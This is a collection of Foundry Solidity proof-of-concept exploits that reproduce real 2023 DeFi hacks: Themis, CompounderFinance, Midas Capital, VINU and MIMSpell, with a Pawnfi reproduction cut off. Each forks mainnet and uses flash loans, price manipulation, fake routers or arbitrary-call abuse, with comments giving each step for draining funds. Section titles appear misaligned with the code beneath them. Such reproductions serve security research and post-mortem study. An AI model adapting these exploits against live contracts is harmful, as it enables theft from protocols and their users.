    IAggregator Aggregator = IAggregator(0x17df2B52f5D756420846c78c69F4fE4fF10e57A4);
    address private constant proxyAddress = 0xdE85D18ADdA9D2b9eAfa7Dbf0ceC5A89119d90F0;
    address private constant themisWETH = 0xe611e633C1E88d4f026fec5Bc1E40E8A477f41aD;
    address private constant themisContract = 0x2132d49157D6148dEe8753f059fAd1C1b09C477c;

    constructor() payable {
        WETH.approve(address(BalancerVault), type(uint256).max);
        BalancerPool.approve(address(BalancerGauge), type(uint256).max);
        BalancerGauge.approve(proxyAddress, type(uint256).max);
        depositWETH();

        address[] memory tokens = new address[](2);
        tokens[0] = address(wstETH);
        tokens[1] = address(WETH);
        uint256[] memory amountsIn = new uint256[](2);
        amountsIn[0] = 0;
        amountsIn[1] = 55e18;

        bytes memory data =
            hex"00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002fb474098f67c0000";

        IBalancerVault.JoinPoolRequest memory request = IBalancerVault.JoinPoolRequest({
            asset: tokens,
            maxAmountsIn: amountsIn,
            userData: data,
            fromInternalBalance: false
        });
        BalancerVault.joinPool(BalancerPool.getPoolId(), address(this), address(this), request);

        BalancerGauge.deposit(BalancerPool.balanceOf(address(this)), address(this));
        proxyCall();
        balancerSwap();
        Aggregator.latestAnswer();
        borrowWETH();
        WETH.transfer(msg.sender, WETH.balanceOf(address(this)));
    }

    function borrowWETH() internal {
        (bool success, bytes memory retData) = themisContract.call(
            abi.encodeWithSignature(
                "borrow(address,address,uint256,uint256)", address(WETH), address(this), WETH.balanceOf(themisWETH), 2
            )
        );

        require(success, "Call not successful");
    }

    function balancerSwap() internal {
        (bool success, bytes memory retData) = msg.sender.call(
            abi.encodeWithSignature(
                "balancerSwap(address,address,uint256)", address(WETH), address(wstETH), 39_725 * 1e18
            )
        );
        require(success, "Call not successful");
    }

    function proxyCall() internal {
        (bool success, bytes memory retData) = proxyAddress.call(
            abi.encodeWithSelector(bytes4(0x41d11324), address(BalancerGauge), BalancerGauge.balanceOf(address(this)))
        );
        require(success, "Call not successful");
    }

    function depositWETH() internal {
        (bool success, bytes memory retData) = address(WETH).call{value: 55 ether}(abi.encodeWithSignature("deposit()"));
        require(success, "Call not successful");
    }
}

Themis Exploit (2023-06)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~27,174K USD$
// Attacker : https://etherscan.io/address/0x0e816b0d0a66252c72af822d3e0773a2676f3278
// Attack Contract : https://etherscan.io/address/0x2d7973177d594237a9b347cd41082af4cbb40f2b
// Vulnerable Contract : https://etherscan.io/address/0xaf274e912243b19b882f02d731dacd7cd13072d0
// Attack Tx : https://etherscan.io/tx/0xcff84cc137c92e427f720ca1f2b36fbad793f34ec5117eed127060686e6797b1

// @Analysis
// https://twitter.com/numencyber/status/1666346419702362112

interface IcDAI {
    function balanceOf(
        address owner
    ) external view returns (uint256);

    function deposit(uint256 _amount, bool _autoStakeInStakingPool) external;

    function withdraw(uint256 _shares, bool _autoWithdrawInStakingPool) external;
}

interface IyDAI {
    function balanceOf(
        address owner
    ) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function deposit(
        uint256 _amount
    ) external;

    function withdraw(
        uint256 _shares
    ) external;
}

interface ICurveSwap {
    function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;
}

interface IStrategyCurve {
    function deposit() external;
}

contract ContractTest is Test {
    IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
    // Compounder DAI Stablecoin
    IcDAI cDAI = IcDAI(0x2381742592ab54dC2e89f193AF682D914A8b24C1);
    // iearn DAI
    IyDAI yDAI = IyDAI(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01);
    IERC20 yUSDC = IERC20(0xd6aD7a6750A7593E092a9B218d66C0A814a3436e);
    IERC20 yUSDT = IERC20(0x83f798e925BcD4017Eb265844FDDAbb448f1707D);
    IERC20 yTUSD = IERC20(0x73a052500105205d34Daf004eAb301916DA8190f);
    IERC20 CentreUSDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    Uni_Pair_V3 DAIUSDCPool = Uni_Pair_V3(0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168);
    ICurveSwap CurveFiSwap = ICurveSwap(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);
    IStrategyCurve StrategyDAICurve = IStrategyCurve(0xaf274e912243b19B882f02d731dacd7CD13072D0);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 17_426_064);
        cheats.label(address(DAI), "DAI");
        cheats.label(address(cDAI), "cDAI");
        cheats.label(address(yDAI), "yDAI");
        cheats.label(address(yUSDC), "yUSDC");
        cheats.label(address(yUSDT), "yUSDT");
        cheats.label(address(yTUSD), "yTUSD");
        cheats.label(address(CentreUSDC), "CentreUSDC");
        cheats.label(address(DAIUSDCPool), "DAIUSDCPool");
        cheats.label(address(CurveFiSwap), "CurveFiSwap");
        cheats.label(address(StrategyDAICurve), "StrategyDAICurve");
    }

    function testExploit() public {
        emit log_named_decimal_uint("Attacker amount of DAI before hack", DAI.balanceOf(address(this)), DAI.decimals());

        // Step 1. Flashloan 1_239 DAI through Uniswap V3 flash loans
        DAIUSDCPool.flash(address(this), 1_239_990 * 1e18, 0, "");

        emit log_named_decimal_uint("Attacker amount of DAI after hack", DAI.balanceOf(address(this)), DAI.decimals());
    }

    function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        // Approvals
        DAI.approve(address(yDAI), type(uint256).max);
        DAI.approve(address(cDAI), type(uint256).max);
        yDAI.approve(address(CurveFiSwap), type(uint256).max);
        yUSDC.approve(address(CurveFiSwap), type(uint256).max);
        yUSDT.approve(address(CurveFiSwap), type(uint256).max);
        yTUSD.approve(address(CurveFiSwap), type(uint256).max);

        // Step 2. Deposit 200_000 DAI and 1_000_000 DAI. Receive ~ 1_340_000 cDAI and 880_000 yDAI, respectively
        cDAI.deposit(200_000 * 1e18, false);
        yDAI.deposit(1_000_000 * 1e18);

        // Step 3. Exchange 50_000 yDAI for ~41_000 yUSDC, 160,000 yDAI for ~94,000 yTUSD and the rest of yDAI balance for ~48,693,900 yUSDT
        CurveFiSwap.exchange(0, 1, 50_000 * 1e18, 0);
        CurveFiSwap.exchange(0, 3, 160_000 * 1e18, 0);
        CurveFiSwap.exchange(0, 2, yDAI.balanceOf(address(this)), 0);

        // Step 4. Withdraw deposit ~1_340_000 cDAI and immediately call the StrategyDAICurve deposit function
        // This step involved depositing all the current DAI tokens into the contract and adding yDAI liquidity, which disrupted the balance of the trading pair
        DAI.transfer(address(StrategyDAICurve), DAI.balanceOf(address(this)));
        cDAI.withdraw(cDAI.balanceOf(address(this)), false);
        StrategyDAICurve.deposit();

        // Step 5. Reverse 3 conversions from step 3
        CurveFiSwap.exchange(1, 0, yUSDC.balanceOf(address(this)), 0);
        CurveFiSwap.exchange(2, 0, yUSDT.balanceOf(address(this)), 0);
        CurveFiSwap.exchange(3, 0, yTUSD.balanceOf(address(this)), 0);

        // Step 6. Release accumulated yDAI from deposit (~910_000 yDAI). The result of this step is withdrawal of ~1_030_000 DAI
        yDAI.withdraw(yDAI.balanceOf(address(this)));

        // Step 7. Repay flashloan.
        DAI.transfer(address(DAIUSDCPool), 1_239_990 * 1e18 + fee0);
    }
}

CompounderFinance Exploit (2023-06)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "./../basetest.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~$600K
// Attacker : https://bscscan.com/address/0x4b92cc3452ef1e37528470495b86d3f976470734
// Attack Contract : https://bscscan.com/address/0xc40119c7269a5fa813d878bf83d14e3462fc8fde
// Vulnerable Contract : https://bscscan.com/address/0xf8527dc5611b589cbb365acacaac0d1dc70b25cb
// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x4a304ff08851106691f626045b0f55d403e3a0958363bdf82b96e8ce7209c3a6

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0xf8527dc5611b589cbb365acacaac0d1dc70b25cb#code

// @Analysis
// Post-mortem : https://medium.com/midas-capital/midas-exploit-post-mortem-1ae266222994

interface IHAY_BUSDT_Vault {
    function deposit(uint256 amount, address to) external returns (uint256);
}

interface IankrBNB_WBNB {
    function swap(
        address recipient,
        bool zeroToOne,
        int256 amountRequired,
        uint160 limitSqrtPrice,
        bytes memory data
    ) external returns (int256 amount0, int256 amount1);
}

contract MidasXYZExploit is Test {
    IERC20 private constant ANKR = IERC20(0xf307910A4c7bbc79691fD374889b36d8531B08e3);
    IERC20 private constant ankrBNB = IERC20(0x52F24a5e03aee338Da5fd9Df68D2b6FAe1178827);
    IERC20 private constant HAY = IERC20(0x0782b6d8c4551B9760e74c0545a9bCD90bdc41E5);
    IERC20 private constant BUSDT = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
    IWBNB private constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
    Uni_Pair_V2 private constant ankrBNB_ANKRV2 = Uni_Pair_V2(0x8028AC1195B6469de22929C4f329f96B06d65F25);
    Uni_Pair_V3 private constant ankrBNB_ANKRV3 = Uni_Pair_V3(0xC8Cbf9b12552c0B85fc368AA530cc31E00526E2F);
    Uni_Pair_V2 private constant HAY_BUSDT = Uni_Pair_V2(0x93B32a8dfE10e9196403dd111974E325219aec24);
    ISimplePriceOracle private constant Oracle = ISimplePriceOracle(0xB641c21124546e1c979b4C1EbF13aB00D43Ee8eA);
    ICErc20Delegate private constant fsAMM_HAY_BUSD =
        ICErc20Delegate(payable(0xF8527Dc5611B589CbB365aCACaac0d1DC70b25cB));
    Uni_Pair_V3 private constant WBNB_BUSDT = Uni_Pair_V3(0x85FAac652b707FDf6907EF726751087F9E0b6687);
    IHAY_BUSDT_Vault private constant HAY_BUSDT_Vault = IHAY_BUSDT_Vault(0x02706A482fc9f6B20238157B56763391a45bE60E);
    IankrBNB_WBNB private constant ankrBNB_WBNB = IankrBNB_WBNB(0x2F6C6e00E517944EE5EFE310cd0b98A3fC61Cb98);

    uint256 private constant blocknumToForkFrom = 29_185_768;
    uint160 private constant sqrtPriceLimitX96 = 4_295_128_740;
    Borrower private borrower;

    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
        vm.label(address(ANKR), "ANKR");
        vm.label(address(ankrBNB_ANKRV2), "ankrBNB_ANKRV2");
        vm.label(address(ankrBNB_ANKRV3), "ankrBNB_ANKRV3");
        vm.label(address(HAY_BUSDT), "HAY_BUSDT");
        vm.label(address(Oracle), "Oracle");
        vm.label(address(fsAMM_HAY_BUSD), "fsAMM_HAY_BUSD");
        vm.label(address(WBNB_BUSDT), "WBNB_BUSDT");
    }

    function testExploit() public {
        // Initial HAY and BUSDT amounts transferred by exploiter to this contract before attack start
        deal(address(HAY), address(this), 220_000e18);
        deal(address(BUSDT), address(this), 23_000e18);

        emit log_named_decimal_uint(
            "Exploiter ankrBNB balance before attack", ankrBNB.balanceOf(address(this)), ankrBNB.decimals()
        );

        emit log_named_decimal_uint(
            "Exploiter ANKR balance before attack", ANKR.balanceOf(address(this)), ANKR.decimals()
        );

        ankrBNB_ANKRV2.swap(0, ANKR.balanceOf(address(ankrBNB_ANKRV2)) - 1, address(this), bytes("_"));

        emit log_named_decimal_uint(
            "Exploiter ANKR balance after attack", ANKR.balanceOf(address(this)), ANKR.decimals()
        );

        emit log_named_decimal_uint(
            "Exploiter ankrBNB balance after attack", ankrBNB.balanceOf(address(this)), ankrBNB.decimals()
        );
    }

    function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
        borrower = new Borrower();
        ANKR.transfer(address(borrower), _amount1);
        uint256 flashAmount = ANKR.balanceOf(address(ankrBNB_ANKRV3));
        bytes memory data = abi.encode(flashAmount, _amount1);
        ankrBNB_ANKRV3.flash(address(borrower), 0, ANKR.balanceOf(address(ankrBNB_ANKRV3)), data);
    }

    function algebraFlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        (uint256 flashRepayAmountV3, uint256 flashRepayAmountV2) = abi.decode(data, (uint256, uint256));
        uint256 liquidityMinted = transferTokensAndMintLiqudity(20_000e18);
        HAY_BUSDT.approve(address(fsAMM_HAY_BUSD), type(uint256).max);
        fsAMM_HAY_BUSD.mint(liquidityMinted);
        fsAMM_HAY_BUSD.redeem(fsAMM_HAY_BUSD.balanceOf(address(this)) - 1001);
        HAY_BUSDT.approve(address(HAY_BUSDT_Vault), type(uint256).max);
        HAY_BUSDT_Vault.deposit(HAY_BUSDT.balanceOf(address(this)), address(fsAMM_HAY_BUSD));
        fsAMM_HAY_BUSD.transfer(address(borrower), 1001);
        borrower.execute();
        Minter minter = new Minter();
        ankrBNB.transfer(address(minter), 115e18);
        minter.mint();
        uint256 amountRequired = ankrBNB.balanceOf(address(this)) - 1e18;
        ankrBNB_WBNB.swap(
            address(this),
            true,
            int256(amountRequired),
            sqrtPriceLimitX96, // limitSqrtPrice
            bytes("")
        );

        WBNB_BUSDT.swap(address(this), true, int256(WBNB.balanceOf(address(this)) - 1e18), sqrtPriceLimitX96, bytes(""));
        liquidityMinted = transferTokensAndMintLiqudity(HAY.balanceOf(address(this)));
        HAY_BUSDT_Vault.deposit(liquidityMinted, address(fsAMM_HAY_BUSD));
        borrower.exit();
        ANKR.transfer(address(ankrBNB_ANKRV3), flashRepayAmountV3 + fee1);
        ANKR.transfer(address(ankrBNB_ANKRV2), (flashRepayAmountV2 * 10_026) / 10_000);
    }

    function algebraSwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
        ankrBNB.transfer(msg.sender, uint256(amount0Delta));
    }

    function pancakeV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata _data) external {
        WBNB.transfer(msg.sender, uint256(amount0Delta));
    }

    function transferTokensAndMintLiqudity(
        uint256 amount
    ) private returns (uint256 liquidity) {
        (uint112 reserveHAY, uint112 reserveBUSDT,) = HAY_BUSDT.getReserves();
        uint256 transferAmountBUSDT = (amount * reserveBUSDT) / reserveHAY;
        HAY.transfer(address(HAY_BUSDT), amount);
        BUSDT.transfer(address(HAY_BUSDT), transferAmountBUSDT);
        return HAY_BUSDT.mint(address(this));
    }
}

contract Borrower is Test {
    IERC20 private constant ANKR = IERC20(0xf307910A4c7bbc79691fD374889b36d8531B08e3);
    ICErc20Delegate private constant fANKR = ICErc20Delegate(payable(0x13aE975c5A1198e4F47c68C31C1230694DC44A57));
    ICErc20Delegate private constant fankrBNB = ICErc20Delegate(payable(0xb2b01D6f953A28ba6C8f9E22986f5bDDb7653aEa));
    ICErc20Delegate private constant fHAY = ICErc20Delegate(payable(0x10b6f851225c203eE74c369cE876BEB56379FCa3));
    ICErc20Delegate private constant fsAMM_HAY_BUSD =
        ICErc20Delegate(payable(0xF8527Dc5611B589CbB365aCACaac0d1DC70b25cB));
    ICointroller private constant Unitroller = ICointroller(0x1851e32F34565cb95754310b031C5a2Fc0a8a905);
    IERC20 private constant ankrBNB = IERC20(0x52F24a5e03aee338Da5fd9Df68D2b6FAe1178827);
    IERC20 private constant HAY = IERC20(0x0782b6d8c4551B9760e74c0545a9bCD90bdc41E5);

    function execute() external {
        ANKR.approve(address(fANKR), type(uint256).max);
        fANKR.mint(ANKR.balanceOf(address(this)));

        address[] memory fTokens = new address[](2);
        fTokens[0] = address(fANKR);
        fTokens[1] = address(fsAMM_HAY_BUSD);
        Unitroller.enterMarkets(fTokens);
        uint256 borrowAmount = fankrBNB.getCash();
        fankrBNB.borrow(borrowAmount);
        borrowAmount = fHAY.borrow(borrowAmount);
        ankrBNB.transfer(msg.sender, ankrBNB.balanceOf(address(this)));
        HAY.transfer(msg.sender, HAY.balanceOf(address(this)));
        ANKR.transfer(msg.sender, ANKR.balanceOf(address(this)));
    }

    function exit() external {
        fsAMM_HAY_BUSD.transfer(msg.sender, 1);
        uint256 borrowAmount = fankrBNB.getCash();
        fankrBNB.borrow(borrowAmount);
        Unitroller.exitMarket(address(fANKR));
        borrowAmount = (686_000e18 - fANKR.totalBorrowsCurrent()) - 1;
        fANKR.borrow(borrowAmount);
        fANKR.redeem(fANKR.balanceOf(address(this)));
        ankrBNB.transfer(msg.sender, ankrBNB.balanceOf(address(this)));
        ANKR.transfer(msg.sender, ANKR.balanceOf(address(this)));
    }
}

contract Minter is Test {
    IERC20 private constant ankrBNB = IERC20(0x52F24a5e03aee338Da5fd9Df68D2b6FAe1178827);
    ICErc20Delegate private constant fankrBNB = ICErc20Delegate(payable(0xb2b01D6f953A28ba6C8f9E22986f5bDDb7653aEa));

    function mint() external {
        ankrBNB.approve(address(fankrBNB), type(uint256).max);
        fankrBNB.mint(ankrBNB.balanceOf(address(this)));
    }
}

MidasCapitalXYZ Exploit (2023-06)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~6k USD$
// Attacker : https://etherscan.io/address/0x9748c8540a5f752ba747f1203ac13dae789033de
// Attack Contract : https://etherscan.io/address/0xf73b8ea8838cba9148fb182e267a000f7cfba8dd
// Attack Tx : https://etherscan.io/tx/0xaf46a42fe1ed7193b25c523723dc047c7500e50a00ecb7bbb822d665adb3e1f3

// @Analysis
// https://twitter.com/hexagate_/status/1666051854386511873?cxt=HHwWgoC24bPVgJ8uAAAA

interface IVINU is IERC20 {
    function addLiquidityETH(address routerAddr, address lprAddr, address devAddr) external;
}

contract VinuTest is Test {
    // Viral INU token
    IVINU VINU = IVINU(0xF7ef0D57277ad6C2baBf87aB64bA61AbDd2590D2);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    Uni_Router_V2 UniswapV2Router02 = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0xa8AF8ac7aCd97095c0d73eD51E30564d52b19cd8);
    address private constant flashbotsAddress = 0xDAFEA492D9c6733ae3d56b7Ed1ADB60692c98Bc5;
    Router FakeRouter;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        deal(address(this), 0.5 ether);
        cheats.createSelectFork("mainnet", 17_421_006);
        cheats.label(address(VINU), "VINU");
        cheats.label(address(WETH), "WETH");
        cheats.label(address(UniswapV2Router02), "UniswapV2Router02");
        cheats.label(flashbotsAddress, "flashbotsAddress");
    }

    function testExploit() public {
        emit log_named_decimal_uint("Attacker's contract ETH balance before attack", address(this).balance, 18);

        emit log_named_decimal_uint(
            "Attacker's contract WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()
        );

        address[] memory path = new address[](2);
        path[0] = address(WETH);
        path[1] = address(VINU);
        UniswapV2Router02.swapExactETHForTokens{value: 0.1 ether}(0, path, address(this), block.timestamp + 100);

        // Deploying fake Router contract
        FakeRouter = new Router();

        // Manipulating the price of VINU
        for (uint256 i; i < 4; ++i) {
            VINU.addLiquidityETH(address(FakeRouter), address(this), address(Pair));
        }
        Pair.sync();
        uint256 amountIn = VINU.balanceOf(address(this));
        VINU.transfer(address(Pair), VINU.balanceOf(address(this)));

        (uint112 reserveWETH, uint112 reserveVINU,) = Pair.getReserves();
        flashbotsAddress.call{value: 0.000000001 ether}("");
        uint256 amountOut = UniswapV2Router02.getAmountOut(amountIn, reserveVINU, reserveWETH);

        Pair.swap(amountOut, 0, address(this), "");

        emit log_named_decimal_uint("Attacker's contract ETH balance after attack", address(this).balance, 18);

        emit log_named_decimal_uint(
            "Attacker's contract WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()
        );
    }
}

contract Router {
    address private constant wethAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    function factory() external view returns (address) {
        return address(this);
    }

    function WETH() external view returns (address) {
        return wethAddr;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        return true;
    }

    function createPair(address tokenA, address tokenB) external returns (address) {
        return address(this);
    }

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity) {
        return (0, 0, 0);
    }
}

VINU Exploit (2023-06)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~17K USD$
// Attacker : https://etherscan.io/address/0x9d4fd681aacbc49d79c6405c9aa70d1afd5accf3
// Attack Contract : https://etherscan.io/address/0x26fe84754a1967d67b7befaa01b10d7b35bbaf0a
// Vulnerable Contract : https://etherscan.io/address/0xa5564a2d1190a141cac438c9fde686ac48a18a79
// Attack Tx : https://etherscan.io/tx/0x2c9f87e285026601a2c8903cf5f10e5b3655fbd0264490c41514ce073c42a9c3

// @Analysis
// https://twitter.com/hexagate_/status/1671188024607100928?cxt=HHwWgMC--e2poLEuAAAA

interface IDegenBox {
    function deposit(
        address token_,
        address from,
        address to,
        uint256 amount,
        uint256 share
    ) external returns (uint256 amountOut, uint256 shareOut);
}

interface ISwapper {
    function swap(
        address from,
        address to,
        address recipient,
        uint256 shareToMin,
        uint256 shareFrom,
        bytes calldata swapData
    ) external;
}

contract MIMTest is Test {
    struct CurveData {
        address curveAddress;
        bytes4 exchangeFunctionSelector;
        int128 fromCoinIdx;
        int128 toCoinIdx;
    }

    address CurveAddress = 0x5a6A4D54456819380173272A5E8E9B9904BdF41B;
    bytes4 CurveFunctionSelector = bytes4(keccak256(bytes("exchange_underlying(int128,int128,uint256,uint256)")));
    int128 FromCoinIdx = 3;
    int128 ToCoinIdx = 0;

    // Stargate Tether USD Token
    IERC20 SUSDT = IERC20(0x38EA452219524Bb87e18dE1C24D3bB59510BD783);
    // Magic Internet Money Token
    IERC20 MIM = IERC20(0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3);
    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    IDegenBox DegenBox = IDegenBox(0xd96f48665a1410C0cd669A88898ecA36B9Fc2cce);
    ISwapper ZeroXStargateLPSwapper = ISwapper(0xa5564a2d1190a141CAC438c9fde686aC48a18A79);
    address private constant curveLiquidityProvider = 0x561B94454b65614aE3db0897B74303f4aCf7cc75;
    // Exploiter EOA address
    address private constant exploiter = 0x9d4fD681AacBc49D79c6405C9aA70d1afd5aCCF3;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 17_521_638);
        deal(address(SUSDT), exploiter, 3e6);
        cheats.startPrank(exploiter);
        SUSDT.approve(address(this), type(uint256).max);
        cheats.stopPrank();
        cheats.label(address(SUSDT), "SUSDT");
        cheats.label(address(MIM), "MIM");
        cheats.label(address(DegenBox), "DegenBox");
        cheats.label(address(ZeroXStargateLPSwapper), "ZeroXStargateLPSwapper");
        cheats.label(curveLiquidityProvider, "CurveLiquidityProvider");
        cheats.label(exploiter, "Exploiter");
    }

    // "Transaction" - name taken from the function name of the exploiter contract
    function testTransaction() public {
        emit log_named_decimal_uint(
            "Exploiter's amount of MIM tokens before attack", MIM.balanceOf(exploiter), MIM.decimals()
        );

        SUSDT.transferFrom(exploiter, address(this), 3e6);
        SUSDT.approve(address(DegenBox), type(uint256).max);
        DegenBox.deposit(address(SUSDT), address(this), address(ZeroXStargateLPSwapper), 0, 2_400_000);

        // Creating swapData which will be used for calling proxy contract inside vulnerable swap() function.
        // bytes
        //     memory auxiliaryData = hex"0000000000000000000000005a6a4d54456819380173272a5e8e9b9904bdf41ba6417ed60000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000000";
        bytes memory auxiliaryDatas = abi.encode(CurveAddress, CurveFunctionSelector, FromCoinIdx, ToCoinIdx);
        bytes memory data = abi.encodeWithSignature(
            "sellToLiquidityProvider(address,address,address,address,uint256,uint256,bytes)",
            address(USDT), // inputToken
            address(MIM), // outputToken
            curveLiquidityProvider, // provider
            exploiter, // recipient
            USDT.balanceOf(address(ZeroXStargateLPSwapper)), // sellAmount
            16_716_883_658_670_000_000_000, // minBuyAmount
            auxiliaryDatas // auxiliaryData
        );

        // By making call to zeroXEchangeProxy.call(swapData) inside swap function,
        // exploiter could swap the USDT owned by ZeroXStargateLPSwapper contract to MIM tokens in which the recipient is the attacker
        ZeroXStargateLPSwapper.swap(address(this), address(this), address(this), 0, 1_920_000, data);

        emit log_named_decimal_uint(
            "Exploiter's amount of MIM tokens after attack", MIM.balanceOf(exploiter), MIM.decimals()
        );
    }
}

MIMSpell Exploit (2023-06)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~$820K
// Attacker : https://etherscan.io/address/0x8f7370d5d461559f24b83ba675b4c7e2fdb514cc
// Attacker Contract : https://etherscan.io/address/0xb618d91fe014bfcb9c8d440468b6c78e9ada9da1
// Vulnerable Contract : https://etherscan.io/address/0x85018CF6F53c8bbD03c3137E71F4FCa226cDa92C#code
// Attack Tx : https://etherscan.io/tx/0x8d3036371ccf27579d3cb3d4b4b71e99334cae8d7e8088247517ec640c7a59a5

// @Analysis
// https://blog.solidityscan.com/pawnfi-hack-analysis-38ac9160cbb4

interface ApeStakingStorage {
    struct DepositInfo {
        uint256[] mainTokenIds;
        uint256[] bakcTokenIds;
    }

    struct StakingInfo {
        address nftAsset;
        uint256 cashAmount;
        uint256 borrowAmount;
    }

    struct StakingConfiguration {
        uint256 addMinStakingRate;
        uint256 liquidateRate;
        uint256 borrowSafeRate;
        uint256 liquidatePawnAmount;
        uint256 feeRate;
    }
}

interface IApeCoinStaking {
    struct PairNft {
        uint128 mainTokenId;
        uint128 bakcTokenId;
    }

    struct SingleNft {
        uint32 tokenId;
        uint224 amount;
    }

    struct PairNftDepositWithAmount {
        uint32 mainTokenId;
        uint32 bakcTokenId;
        uint184 amount;
    }

    struct PairNftWithdrawWithAmount {
        uint32 mainTokenId;
        uint32 bakcTokenId;
        uint184 amount;
        bool isUncommit;
    }

    struct TimeRange {
        uint48 startTimestampHour;
        uint48 endTimestampHour;
        uint96 rewardsPerHour;
        uint96 capPerPosition;
    }
}

interface IApeStaking {
    function depositAndBorrowApeAndStake(
        ApeStakingStorage.DepositInfo memory depositInfo,
        ApeStakingStorage.StakingInfo memory stakingInfo,
        IApeCoinStaking.SingleNft[] memory _nfts,
        IApeCoinStaking.PairNftDepositWithAmount[] memory _nftPairs
    ) external;

    function withdrawApeCoin(
        address nftAsset,
        IApeCoinStaking.SingleNft[] memory _nfts,
        IApeCoinStaking.PairNftWithdrawWithAmount[] memory _nftPairs
    ) external;

    function setCollectRate(
        uint256 newCollectRate
    ) external;

    function pools(
        uint256
    )
        external
        view
        returns (
            uint48 lastRewardedTimestampHour,
            uint16 lastRewardsRangeIndex,
            uint96 stakedAmount,
            uint96 accumulatedRewardsPerShare
        );

    function getTimeRangeBy(uint256 _poolId, uint256 _index) external view returns (IApeCoinStaking.TimeRange memory);
}

interface IPToken is IERC20 {
    function randomTrade(
        uint256 nftIdCount
    ) external returns (uint256[] memory nftIds);
}

contract PawnfiTest is Test {
    Uni_Pair_V3 private constant UniV3Pool = Uni_Pair_V3(0xAc4b3DacB91461209Ae9d41EC517c2B9Cb1B7DAF);
    IERC20 private constant APE = IERC20(payable(0x4d224452801ACEd8B2F0aebE155379bb5D594381));
    IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    ICErc20Delegate private constant sAPE = ICErc20Delegate(payable(0x73625745eD66F0d4C68C91613086ECe1Fc5a0119));
    ICErc20Delegate private constant isAPE = ICErc20Delegate(payable(0x3B2da9304bd1308Dc0d1b2F9c3C14F4CF016a955));
    ICErc20Delegate private constant CEther = ICErc20Delegate(payable(0x37B614714e96227D81fFffBdbDc4489e46eAce8C));
    ICErc20Delegate private constant iPBAYC = ICErc20Delegate(payable(0x9C1c49B595D5c25F0Ccc465099E6D9d0a1E5aB37));
    IPToken private constant PBAYC = IPToken(0x5f0A4a59C8B39CDdBCf0C683a6374655b4f5D76e);
    IERC721 private constant BAYC = IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);
    ICointroller private constant Unitroller = ICointroller(0x0518b21F49548427EF0c16Ff26Ce8a05295F7454);
    ISimplePriceOracle private constant MultipleSourceOracle =
        ISimplePriceOracle(0x01b7234e6b24003e88b4e22d0a8d574432d3dFF6);
    IApeStaking private constant ApeStaking1 = IApeStaking(0x0B89032E2722b103386aDCcaE18B2F5D4986aFa0);
    IApeStaking private constant ApeStaking2 = IApeStaking(0x5954aB967Bc958940b7EB73ee84797Dc8a2AFbb9);

    function setUp() public {
        vm.createSelectFork("mainnet", 17_496_619);
        vm.label(address(UniV3Pool), "UniV3Pool");
        vm.label(address(APE), "APE");
        vm.label(address(sAPE), "sAPE");
        vm.label(address(isAPE), "isAPE");
        vm.label(address(iPBAYC), "iPBAYC");
        vm.label(address(CEther), "CEther");
        vm.label(address(PBAYC), "PBAYC");
        vm.label(address(BAYC), "BAYC");
        vm.label(address(Unitroller), "Unitroller");
